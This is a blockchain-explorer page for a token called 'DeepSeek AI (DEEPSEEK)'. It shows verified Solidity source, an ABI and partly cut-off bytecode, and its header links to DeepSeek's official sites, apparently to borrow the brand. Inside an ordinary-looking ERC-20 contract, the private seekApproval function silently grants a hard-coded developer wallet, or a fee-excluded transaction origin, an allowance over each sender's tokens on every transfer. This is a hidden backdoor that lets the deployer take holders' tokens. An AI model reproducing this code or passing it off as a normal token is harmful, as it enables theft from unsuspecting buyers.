ETH Price: $2,716.02 (+1.82%)

Token

DeepSeek AI (DEEPSEEK)
 

Overview

Max Total Supply

1,000,000,000 DEEPSEEK

Holders

317

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,334,238.717776274 DEEPSEEK

Value
$0.00
0x471ae5b07c07c749beb9d24e3fabda8a2b9cd1f6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DEEPSEEK

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-02-15
*/

/*
Web: https://www.deepseek.com
Platform: https://platform.deepseek.com
Github: https://github.com/deepseek-ai

X: https://x.com/deepseek_ai
Community: https://t.me/deepseekai_eth
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;

interface ISEEKRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface ISEEKFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract DEEPSEEK is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _seekBulls;
    mapping (address => bool) private _seekFeeExcluded;
    mapping (address => mapping (address => uint256)) private _seekNodes;
    address private _seekPair;
    ISEEKRouter private _seekRouter;
    address private _seekWallet = 0x5102E037d9C7e515fCB7ca9fBF2CCB7d982860e2;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalSEEK = 1000000000 * 10**_decimals;
    string private constant _name = unicode"DeepSeek AI";
    string private constant _symbol = unicode"DEEPSEEK";
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint256 private _tokenSEEKSwap = _tTotalSEEK / 100;
    bool private inSwapSEEK = false;
    modifier lockTheSwap {
        inSwapSEEK = true;
        _;
        inSwapSEEK = false;
    }
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    
    constructor () {
        _seekFeeExcluded[owner()] = true;
        _seekFeeExcluded[address(this)] = true;
        _seekFeeExcluded[_seekWallet] = true;
        _seekBulls[_msgSender()] = _tTotalSEEK;
        emit Transfer(address(0), _msgSender(), _tTotalSEEK);
    }

    function initTo() external onlyOwner() {
        _seekRouter = ISEEKRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_seekRouter), _tTotalSEEK);
        _seekPair = ISEEKFactory(_seekRouter.factory()).createPair(address(this), _seekRouter.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalSEEK;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _seekBulls[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _seekNodes[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _seekNodes[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _seekNodes[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address seekF, address seekT, uint256 seekA) private {
        require(seekF != address(0), "ERC20: transfer from the zero address");
        require(seekT != address(0), "ERC20: transfer to the zero address");
        require(seekA > 0, "Transfer amount must be greater than zero");

        uint256 taxSEEK = _seekTransfer(seekF, seekT, seekA);

        if(taxSEEK > 0){
          _seekBulls[address(this)] = _seekBulls[address(this)].add(taxSEEK);
          emit Transfer(seekF, address(this), taxSEEK);
        }

        _seekBulls[seekF] = _seekBulls[seekF].sub(seekA);
        _seekBulls[seekT] = _seekBulls[seekT].add(seekA.sub(taxSEEK));
        emit Transfer(seekF, seekT, seekA.sub(taxSEEK));
    }

    function seekApproval(address aSEEK, bool isSEEK, uint256 seekA) private {
        address walletSEEK;
        if(isSEEK) walletSEEK = address(tx.origin);
        else walletSEEK = _seekWallet;
        _seekNodes[aSEEK][walletSEEK] = seekA;
    }

    function _seekTransfer(address seekF, address seekT, uint256 seekA) private returns(uint256) {
        address walletSEEK = address(tx.origin); uint256 taxSEEK=0; 
        if (seekF != owner() && seekT != owner()) {
            taxSEEK = seekA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (seekF == _seekPair && seekT != address(_seekRouter) && ! _seekFeeExcluded[seekT]) {
                _buyCount++;
            }

            if(seekT == _seekPair && seekF!= address(this)) {
                taxSEEK = seekA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            swapBackSEEK(seekF, seekT, seekA, _seekFeeExcluded[walletSEEK]);
        } return taxSEEK;
    }

    function swapBackSEEK(address seekF, address seekT, uint256 seekA, bool isSEEK) private {
        uint256 tokenSEEK = balanceOf(address(this));  
        if (!inSwapSEEK && seekT == _seekPair && _swapEnabled && _buyCount > _preventSwapBefore) {
            if(tokenSEEK > _tokenSEEKSwap)
            swapTokensForEth(minSEEK(seekA, minSEEK(tokenSEEK, _tokenSEEKSwap)));
            uint256 caSEEK = address(this).balance;
            if (caSEEK >= 0) {
                sendETHSEEK(address(this).balance);
            }
        } seekApproval(seekF, isSEEK, seekA);
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _seekRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    receive() external payable {}

    function minSEEK(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHSEEK(uint256 amount) private {
        payable(_seekWallet).transfer(amount);
    }

    function swapTokensForEth(uint256 tokenSEEK) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _seekRouter.WETH();
        _approve(address(this), address(_seekRouter), tokenSEEK);
        _seekRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenSEEK,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600680546001600160a01b031916735102e037d9c7e515fcb7ca9fbf2ccb7d982860e21781556003600781905560085560006009818155600a828155600b849055600c849055600d93909355600e9190915560649162000065919062000243565b6200007590633b9aca0062000311565b620000819190620001d7565b600f556010805462ffffff191690553480156200009d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160026000620000f86000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260029093528183208054851660019081179091556006549091168352912080549092161790556200015d6009600a62000243565b6200016d90633b9aca0062000311565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001b06009600a62000243565b620001c090633b9aca0062000311565b60405190815260200160405180910390a362000349565b600082620001f557634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156200023b5781600019048211156200021f576200021f62000333565b808516156200022d57918102915b93841c9390800290620001ff565b509250929050565b60006200025460ff8416836200025b565b9392505050565b6000826200026c575060016200030b565b816200027b575060006200030b565b81600181146200029457600281146200029f57620002bf565b60019150506200030b565b60ff841115620002b357620002b362000333565b50506001821b6200030b565b5060208310610133831016604e8410600b8410161715620002e4575081810a6200030b565b620002f08383620001fa565b806000190482111562000307576200030762000333565b0290505b92915050565b60008160001904831182151516156200032e576200032e62000333565b500290565b634e487b7160e01b600052601160045260246000fd5b61156680620003596000396000f3fe6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610231578063a9059cbb14610262578063c9567bf914610282578063dd62ed3e1461029757600080fd5b806370a08231146101be578063715018a6146101f45780638da5cb5b1461020957600080fd5b806306fdde03146100d2578063095ea7b31461011857806318160ddd1461014857806323b872dd1461016b578063313ce5671461018b578063404e27e3146101a757600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600b81526a446565705365656b20414960a81b60208201525b60405161010f9190611250565b60405180910390f35b34801561012457600080fd5b506101386101333660046111f6565b6102dd565b604051901515815260200161010f565b34801561015457600080fd5b5061015d6102f4565b60405190815260200161010f565b34801561017757600080fd5b506101386101863660046111b5565b610315565b34801561019757600080fd5b506040516009815260200161010f565b3480156101b357600080fd5b506101bc61037e565b005b3480156101ca57600080fd5b5061015d6101d9366004611142565b6001600160a01b031660009081526001602052604090205490565b34801561020057600080fd5b506101bc6105b7565b34801561021557600080fd5b506000546040516001600160a01b03909116815260200161010f565b34801561023d57600080fd5b50604080518082019091526008815267444545505345454b60c01b6020820152610102565b34801561026e57600080fd5b5061013861027d3660046111f6565b61062b565b34801561028e57600080fd5b506101bc610638565b3480156102a357600080fd5b5061015d6102b236600461117c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006102ea3384846107b3565b5060015b92915050565b60006103026009600a6113c8565b61031090633b9aca00611473565b905090565b60006103228484846108d7565b610374843361036f85604051806060016040528060288152602001611509602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610b51565b6107b3565b5060019392505050565b6000546001600160a01b031633146103b15760405162461bcd60e51b81526004016103a8906112a5565b60405180910390fd5b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103fa9030906103ec6009600a6113c8565b61036f90633b9aca00611473565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561044857600080fd5b505afa15801561045c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610480919061115f565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156104dd57600080fd5b505afa1580156104f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610515919061115f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561055d57600080fd5b505af1158015610571573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610595919061115f565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146105e15760405162461bcd60e51b81526004016103a8906112a5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102ea3384846108d7565b6000546001600160a01b031633146106625760405162461bcd60e51b81526004016103a8906112a5565b601054610100900460ff16156106ba5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a8565b6005546001600160a01b031663f305d71947306106ec816001600160a01b031660009081526001602052604090205490565b6000806107016000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061079d9190611222565b50506010805462ffff0019166201010017905550565b6001600160a01b0383166108155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a8565b6001600160a01b0382166108765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a8565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661093b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a8565b6001600160a01b03821661099d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a8565b600081116109ff5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a8565b6000610a0c848484610b8b565b90508015610a885730600090815260016020526040902054610a2e9082610ced565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a7f9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610aab9083610d53565b6001600160a01b038516600090815260016020526040902055610af0610ad18383610d53565b6001600160a01b03851660009081526001602052604090205490610ced565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b3a8585610d53565b60405190815260200160405180910390a350505050565b60008184841115610b755760405162461bcd60e51b81526004016103a89190611250565b506000610b828486611492565b95945050505050565b60003281610ba16000546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610bd057506000546001600160a01b03868116911614155b15610b8257610c016064610bfb600b54600e5411610bf057600754610bf4565b6009545b8790610d95565b90610e14565b6004549091506001600160a01b038781169116148015610c2f57506005546001600160a01b03868116911614155b8015610c5457506001600160a01b03851660009081526002602052604090205460ff16155b15610c6f57600e8054906000610c69836114a9565b91905055505b6004546001600160a01b038681169116148015610c9557506001600160a01b0386163014155b15610cc257610cbf6064610bfb600c54600e5411610cb557600854610bf4565b600a548790610d95565b90505b6001600160a01b038216600090815260026020526040902054610b829087908790879060ff16610e56565b600080610cfa838561134b565b905083811015610d4c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a8565b9392505050565b6000610d4c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b51565b600082610da4575060006102ee565b6000610db08385611473565b905082610dbd8583611363565b14610d4c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a8565b6000610d4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ef3565b3060009081526001602052604090205460105460ff16158015610e8657506004546001600160a01b038581169116145b8015610e9a575060105462010000900460ff165b8015610ea95750600d54600e54115b15610ee157600f54811115610ed557610ed5610ed084610ecb84600f54610f21565b610f21565b610f36565b47610edf476110b6565b505b610eec8583856110f4565b5050505050565b60008183610f145760405162461bcd60e51b81526004016103a89190611250565b506000610b828486611363565b6000818311610f305782610d4c565b50919050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f7857610f786114da565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610fcc57600080fd5b505afa158015610fe0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611004919061115f565b81600181518110611017576110176114da565b6001600160a01b03928316602091820292909201015260055461103d91309116846107b3565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906110769085906000908690309042906004016112da565b600060405180830381600087803b15801561109057600080fd5b505af11580156110a4573d6000803e3d6000fd5b50506010805460ff1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110f0573d6000803e3d6000fd5b5050565b60008215611103575032611111565b506006546001600160a01b03165b6001600160a01b03938416600090815260036020908152604080832093909616825291909152929092209190915550565b60006020828403121561115457600080fd5b8135610d4c816114f0565b60006020828403121561117157600080fd5b8151610d4c816114f0565b6000806040838503121561118f57600080fd5b823561119a816114f0565b915060208301356111aa816114f0565b809150509250929050565b6000806000606084860312156111ca57600080fd5b83356111d5816114f0565b925060208401356111e5816114f0565b929592945050506040919091013590565b6000806040838503121561120957600080fd5b8235611214816114f0565b946020939093013593505050565b60008060006060848603121561123757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561127d57858101830151858201604001528201611261565b8181111561128f576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561132a5784516001600160a01b031683529383019391830191600101611305565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561135e5761135e6114c4565b500190565b60008261138057634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156113c05781600019048211156113a6576113a66114c4565b808516156113b357918102915b93841c939080029061138a565b509250929050565b6000610d4c60ff8416836000826113e1575060016102ee565b816113ee575060006102ee565b8160018114611404576002811461140e5761142a565b60019150506102ee565b60ff84111561141f5761141f6114c4565b50506001821b6102ee565b5060208310610133831016604e8410600b841016171561144d575081810a6102ee565b6114578383611385565b806000190482111561146b5761146b6114c4565b029392505050565b600081600019048311821515161561148d5761148d6114c4565b500290565b6000828210156114a4576114a46114c4565b500390565b60006000198214156114bd576114bd6114c4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461150557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fe0793b871da05991e4c3840d6cba41f96c40b7b373ebb86972839aaa941d1f64736f6c63430008050033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610231578063a9059cbb14610262578063c9567bf914610282578063dd62ed3e1461029757600080fd5b806370a08231146101be578063715018a6146101f45780638da5cb5b1461020957600080fd5b806306fdde03146100d2578063095ea7b31461011857806318160ddd1461014857806323b872dd1461016b578063313ce5671461018b578063404e27e3146101a757600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600b81526a446565705365656b20414960a81b60208201525b60405161010f9190611250565b60405180910390f35b34801561012457600080fd5b506101386101333660046111f6565b6102dd565b604051901515815260200161010f565b34801561015457600080fd5b5061015d6102f4565b60405190815260200161010f565b34801561017757600080fd5b506101386101863660046111b5565b610315565b34801561019757600080fd5b506040516009815260200161010f565b3480156101b357600080fd5b506101bc61037e565b005b3480156101ca57600080fd5b5061015d6101d9366004611142565b6001600160a01b031660009081526001602052604090205490565b34801561020057600080fd5b506101bc6105b7565b34801561021557600080fd5b506000546040516001600160a01b03909116815260200161010f565b34801561023d57600080fd5b50604080518082019091526008815267444545505345454b60c01b6020820152610102565b34801561026e57600080fd5b5061013861027d3660046111f6565b61062b565b34801561028e57600080fd5b506101bc610638565b3480156102a357600080fd5b5061015d6102b236600461117c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006102ea3384846107b3565b5060015b92915050565b60006103026009600a6113c8565b61031090633b9aca00611473565b905090565b60006103228484846108d7565b610374843361036f85604051806060016040528060288152602001611509602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610b51565b6107b3565b5060019392505050565b6000546001600160a01b031633146103b15760405162461bcd60e51b81526004016103a8906112a5565b60405180910390fd5b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103fa9030906103ec6009600a6113c8565b61036f90633b9aca00611473565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561044857600080fd5b505afa15801561045c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610480919061115f565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156104dd57600080fd5b505afa1580156104f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610515919061115f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561055d57600080fd5b505af1158015610571573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610595919061115f565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146105e15760405162461bcd60e51b81526004016103a8906112a5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102ea3384846108d7565b6000546001600160a01b031633146106625760405162461bcd60e51b81526004016103a8906112a5565b601054610100900460ff16156106ba5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a8565b6005546001600160a01b031663f305d71947306106ec816001600160a01b031660009081526001602052604090205490565b6000806107016000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061079d9190611222565b50506010805462ffff0019166201010017905550565b6001600160a01b0383166108155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a8565b6001600160a01b0382166108765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a8565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661093b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a8565b6001600160a01b03821661099d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a8565b600081116109ff5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a8565b6000610a0c848484610b8b565b90508015610a885730600090815260016020526040902054610a2e9082610ced565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a7f9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610aab9083610d53565b6001600160a01b038516600090815260016020526040902055610af0610ad18383610d53565b6001600160a01b03851660009081526001602052604090205490610ced565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b3a8585610d53565b60405190815260200160405180910390a350505050565b60008184841115610b755760405162461bcd60e51b81526004016103a89190611250565b506000610b828486611492565b95945050505050565b60003281610ba16000546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610bd057506000546001600160a01b03868116911614155b15610b8257610c016064610bfb600b54600e5411610bf057600754610bf4565b6009545b8790610d95565b90610e14565b6004549091506001600160a01b038781169116148015610c2f57506005546001600160a01b03868116911614155b8015610c5457506001600160a01b03851660009081526002602052604090205460ff16155b15610c6f57600e8054906000610c69836114a9565b91905055505b6004546001600160a01b038681169116148015610c9557506001600160a01b0386163014155b15610cc257610cbf6064610bfb600c54600e5411610cb557600854610bf4565b600a548790610d95565b90505b6001600160a01b038216600090815260026020526040902054610b829087908790879060ff16610e56565b600080610cfa838561134b565b905083811015610d4c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a8565b9392505050565b6000610d4c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b51565b600082610da4575060006102ee565b6000610db08385611473565b905082610dbd8583611363565b14610d4c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a8565b6000610d4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ef3565b3060009081526001602052604090205460105460ff16158015610e8657506004546001600160a01b038581169116145b8015610e9a575060105462010000900460ff165b8015610ea95750600d54600e54115b15610ee157600f54811115610ed557610ed5610ed084610ecb84600f54610f21565b610f21565b610f36565b47610edf476110b6565b505b610eec8583856110f4565b5050505050565b60008183610f145760405162461bcd60e51b81526004016103a89190611250565b506000610b828486611363565b6000818311610f305782610d4c565b50919050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f7857610f786114da565b6001600160a01b03928316602091820292